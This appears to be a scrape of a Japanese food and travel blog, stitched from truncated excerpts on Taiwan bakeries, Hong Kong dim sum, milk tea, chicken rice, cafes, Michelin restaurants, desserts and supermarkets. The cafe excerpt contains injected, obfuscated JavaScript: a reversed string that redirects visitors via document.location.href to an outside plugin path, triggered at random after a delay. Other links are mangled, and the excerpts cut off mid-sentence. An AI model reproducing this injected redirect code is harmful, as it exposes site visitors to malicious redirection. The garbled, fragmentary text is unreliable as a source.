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こんにちは、AYA(@ayanohk)です。 台湾グルメと言うと小籠包やマンゴーかき氷などのイメージがあると思うのですが、実は台湾は世界的に有名なパン屋さんが多いんです。 先日行われたモンディアル・デュ・パンというコンテストでは3連覇を狙っていた台湾チームでしたが、残念ながら今年は2位（1位は日本）という結果。しかし台湾チームのコメントが称賛をよんで日本でも大きな話題となりました。（ニュースはtoday.tw/news.php?unit=148,149,150,151,152&post=164571″>こちら） 今回は過去に他の大会でも世界一になった人気パン屋さんを紹介します。自分用へのおお土産として日本へ持って帰るのもおすすめです～。 世界一のパンが多い台湾でおすすめしたいパン屋さん 呉寶春麥方店（Wu Pao Chun Bakery） www.instagram.com 台湾で一番有名

香港旅行ではやっぱり飲茶ですよね！ ただ香港には高級なところから安いローカル店までたーくさんの飲茶レストランがあります。 今回は「九龍側で安くておいしいお店に行きたい」という旅行者向けを紹介しています。 ローカルなお店も一部ありますが、★で分けているので参考にして下さいね。 飲茶のメニュー https://www.bigomagazine.com/dimsummenu/ 一點心（one dim sum） www.instagram.com 太子にある飲茶。2012年ミシュランをとったこともある有名店です。 最近お店が移転し店内は広くなり座席数も増えましたが週末は行列は続いています。 受付番号をもらうスタイルなので、番号札をもらったら、あとは近くにあるフラワーマーケットで時間をつぶしたらいいかと思います。 欧米人観光客が多いこともあり、お店を仕切っているお兄さんは英語が話せます。 番号を呼ぶ

HEYTEA（喜茶）とは 2012年に中国華南でオープンしたお店です。（はじめは名前が違うが商標の問題で名前変更） 今では中国全土にオープンしており今も大人気のお店です。 店舗がたくさんある中国シンセンですら平日でも注文から受け取るまで30分以上かかる場合があります。（週末午後は1時間待ったことあります） 人気の秘訣 このお店の特徴といえば、ドリンクの上にのっているチーズのフォーム状のクリーム。 昔から台湾のタピオカドリンク貢茶などでもチーズドリンクはたくさんあったのですが、HEYTEAのチーズは他と少し異なります。 貢茶など今までのチーズは強めの塩気と甘みのあるクリームでしたが、HEYTEAはチーズは塩気を感じさせないふんわりチーズ風なクリームでふわふわのフォームでついつい一気飲みしたくなるほどくせがなくとても美味しいです。（説明がしづらい） お勧めドリンク フルーツティー+チーズの組み

梁記嘉義雞肉飯 www.instagram.com 鶏肉飯といえば、私が一番好きなお店は「梁記嘉義雞肉飯」。 かなり有名なお店なので私がわざわざ紹介することもないと思いますが本当にお勧めです。柔らかいうま味たっぷりの嘉義の鶏肉に、鶏の油を使った秘伝のタレがかけられています。 10元(35円)の半熟卵が絶品なので必ず鶏肉の上にのせて食べてくださいね。 おかずもかなり豊富ですがたくさん食べ歩きしたい方はスープとご飯のみがいいかと思います。 お茶碗一杯なので軽く食べることができるので軽食にもお勧め。 ただし土日お休みなので社会人の弾丸旅行者には残念ですが、平日台北に来られる方はマストです。 ◆お店情報 住所：中山區松江路90巷19號 営業時間：10:00～14:30 16:30～20：00 定休日：土日 方家雞肉飯 www.instagram.com 弾丸組のみなさんご安心を。 土日でも深夜でも

尖沙咀は買い物エリアとして訪問される方も多いと思いますが実はオシャレカフェも多くあります。スタバなどのチェーン店ではなく本格的なコーヒーが飲みたい、ゆっくりお茶したい、香港らしい雰囲気を味わいたい、という方にお勧めです。 今回は尖沙咀エリアをよく訪問する私のお勧めを紹介します。ぜひ参考にしてみてください。 尖沙咀のまとめ記事はこちらです tometst/”>https://www.bigomagazine.com/hk-matoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay

2019年6月にビル建て替えのため、2019年2月末で閉店だと話題になっていた「蓮香楼」ですが、現在も同じ場所で継続して営業しています。 2018年頃から閉店になるのではないかと騒がれてようやく閉店日時が決まったその1週間後に営業続行となった「蓮香楼」。「蓮香楼」ファンのみならず香港在住者からも喜びの声があがりましたが、同時にこの直近のごたごた騒動は何だったのかとニュースでも報道されています。 このページでは、 「蓮香楼」の閉店騒動の経緯 なぜ継続することになった理由 3月以降のお店の名前について ビルの建て替えは？なし？延期？ 値上がりはするの？ 夜の営業はなくなる？ など気になるところをまとめてみました。是非参考にしてください。 蓮香楼とは 1889年、中国広州市でパン屋兼お菓子屋さんとして「連香楼」がオープン。のちに広東スタイルの月餅の原型となった蓮の餡を使ったお菓子が有名となりまし

ミシュランガイドとは？ ミシュランガイドでは飲食店を 「素材の質」 「料理技術の高さ」 「独創性」 「価値に見合った価格」 「常に安定した料理全体の一貫性」 の5つのポイントで評価しています。 さらにその総合評価を 「そのために旅行する価値のある卓越した料理」として3つ星 「遠回りしてでも訪れる価値のある素晴らしい料理」として2つ星 「近くに訪れたら行く価値のある優れた料理」として1つ星 を付けています。 【ミシュランなのに安い】香港ミシュラン1つ星レストラン 何洪記 tolife” title=”” src=”https://www.bigomagazine.com/wp-content/uploads/hatena/20181212151034.jpg” alt=”香港ミシュランレストラン何洪記の雲吞麺の写真” /> 写真参考：何洪記 1946年創立の老舗店「何洪記」は、2011年より

香港旅行でおすすめの香港マンゴースイーツ 聰嫂星級/私房甜品（Cong Sao Star Dessert）※閉店 www.instagram.com 個人的に一番おすすめなのが「聰嫂星級甜品(聰嫂私房甜品)」。香港四天王のひとり劉德華が好きだということでも有名で、店内には直筆サインが飾られています。私も友達が来たら必ずここに行くほど私も大好きなお店です。 メニューはすべて日本語表記され写真付きなのでわかりやすく、旅行者にはおすすめです。メニューは昔ながらの香港スイーツや果物をたくさん使ったスイーツなどどれも美味しいです。 一番おすすめのなのが「楊枝金露豆腐花」で、甘い豆腐花と酸味のある楊枝甘露が絶妙な組み合わせです。 ◆お店情報 香港内に銅鑼湾、湾仔の他、旺角、深水埗など全部で8店舗あります。 銅鑼灣耀華街11號地舖 灣仔大王東街21-23號地舖　他 許留山（Hui Lau Shan）※閉

香港のスーパーマーケット 香港には国際色豊かな高級スーパーから現地の人が行くローカルのスーパーなど様々です。今回は香港内に店舗が多い香港2大スーパーマーケット「ウェルカム（Wellcom/恵康）」と「パークンショップ（PARKn Shop/百佳）」から紹介します。 同じスーパーでも店舗によって扱っている物が若干違いますが、今回紹介するのは定番商品なのでどこのスーパーにあるものなのでぜひ参考にしてください。 ウェルカム（Wellcom/恵康） 香港、マカオ、中国本土、台湾に250以上の店舗を持つローカルスーパーマーケットです。24時間営業をしているお店も多数あるので便利です。 パークンショップ（PARKn Shop/百佳） 香港とマカオだけで200以上の店舗を持つローカルスーパーマーケットです。 香港のスーパーの注意点 レジ袋は有料です。エコバック持参しましょう。 レジでは必ず袋はいるか、ポ

「ミシュランガイドに掲載されているお店」と聞くと、敷居が高く簡単に行けないイメージがあるかもしれませんが、香港ではリーズナブルなお粥のお店がミシュランに選ばれています。 今回はミシュランガイド香港に掲載されているお店を紹介します。一人のお客さんもたくさんいるお店ばかりなので、ぜひ参考にしてください。 尖沙咀のおすすめお粥 https://www.bigomagazine.com/hk-congeetst/ 香港ミシュランのお粥レストラン ミシュランガイドって？ ミシュランガイドとは、レストランやホテルの評価を星の数で紹介するガイドブックです。 ミシュランガイドの歴史 ミシュランはガイドブックを発売する会社ではなく、フランスの有名なタイヤ会社です。1900年のパリ万博にあわせ、自動車を運転する人のための無料ガイドブックとして発行されたのが始まりです。当時はタイヤの広告以外にガソリンスタンドの